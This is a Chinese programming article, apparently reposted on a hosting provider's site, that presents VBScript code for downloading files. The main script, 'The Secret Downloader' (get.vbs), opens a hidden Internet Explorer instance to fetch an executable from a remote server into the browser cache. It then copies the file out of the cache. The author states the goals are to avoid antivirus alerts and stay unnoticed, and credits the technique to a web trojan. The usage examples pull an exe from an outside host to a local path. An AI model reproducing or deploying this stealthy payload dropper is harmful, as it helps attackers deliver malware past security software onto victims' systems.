使用vbs下载文件的代码加强版
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
| 说到使用vbs下载文件是不是想到了XMLHTTP呢，呵呵，以下是比较经典的代码： iLocal=LCase(Wscript.Arguments(1)) iRemote=LCase(Wscript.Arguments(0)) SetxPost=createObject("Microsoft.XMLHTTP") xPost.Open"GET",iRemote,0 xPost.Send() setsGet=createObject("ADODB.Stream") sGet.Mode=3 sGet.Type=1 sGet.Open() sGet.WritexPost.ResponseBody sGet.SaveToFileiLocal,2 当你把这段代码保存为vbs的时候，杀毒软件可能就开始报警了；而且使用中cscript.exe会访问网络，不太隐蔽。 那么，有没有更好的方法呢？答案很明显:-) 我们可以利用一个叫InternetExplorer.Application的对象（其实就是个IE啦）下载文件。但是貌似这个组件不能直接下载保存文件，只好曲线救国了。因为IE是把文件下载到本地缓存的，我们可以让IE组件先把文件下载到缓存，然后再从缓存找到并copy至我们需要保存的位置。其实这个思路是从一个网马看到的：） 为了让IE把我们的exe文件下载到本地缓存，我们需要有一个网页把exe文件包含进去。比如：<scriptsrc="520.exe"></script>。这样当IE访问该页面的时候就会把520.exe当成js脚本保存到本地缓存了。保存的命名一般是520[1].exe，IE临时文件的位置可以从注册表键值HKLM\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Cache\paths\Directory中读取。 好了，不废话，看代码： ''============================= ''get.vbs ''bylake2 ''============================= IfWScript.Arguments.Count<>3Then WScript.Echo"" WScript.Echo"=======TheSecretDownloader0.1================" WScript.Echo"bylake2" WScript.Echo"Usage:CScript/nologo"&WScript.ScriptName&"[URL][RemoteName][LocalFile]" WScript.Echo"Example:CScript/nologo"&WScript.ScriptName&"http://www.0x54.org/lake.htm520.exec:\520.exe" WScript.Echo"==================================================" WScript.Quit EndIf URL=WScript.Arguments(0) exeName=WScript.Arguments(1) IfInStr(exeName,".")>0Then tmp=Left(exeName,InStrRev(exeName,".")-1) tmp2=Right(exeName,Len(exeName)-InStrRev(exeName,".")+1) FindFileName=tmp&"[1]"&tmp2 EndIf LocalName=WScript.Arguments(2) setie=wscript.createobject("internetexplorer.application") ie.visible=0 ie.navigateURL WScript.Echo"[+]CreateandExecIEtoyourHTTPServer..." WScript.Sleep(5000) ie.quit WScript.Echo"[+]Getthefile..." setobjshell=WScript.Createobject("WScript.Shell") strValue=objshell.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Cache\paths\Directory") ShowAllFile(strValue) WScript.Echo"[-]downloadFail:(" SubShowAllFile(Path) SetFSO=CreateObject("Scripting.FileSystemObject") Setf=FSO.GetFolder(Path) Setfc=f.SubFolders ForEachf1infc IfFSO.FileExists(path&"\"&f1.name&"\"&FindFileName)Then FSO.CopyFilepath&"\"&f1.name&"\"&FindFileName,LocalName WScript.Echo"[+]DownloadSuccess!" WScript.Quit EndIf ShowAllFilepath&"\"&f1.name Next SetFSO=Nothing EndSub 使用方法： 1、在你的web目录放上一个htm文件，内容包含要下载的文件。如：<scriptsrc=520.exe></script> 2、CScriptget.vbs第一步的网页URL网页包含的文件名本地保存路径 例子：CScriptget.vbshttp://www.0x54.org/lake2/get.htmwhoami.exec:\who.exe PS：脚本使用了5秒钟作为下载文件的时间，可以改成等待下载完毕再继续的，不过基本上够用，懒得改了-_- |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
你可能对下面的文章感兴趣
关于使用vbs下载文件的代码加强版的所有评论
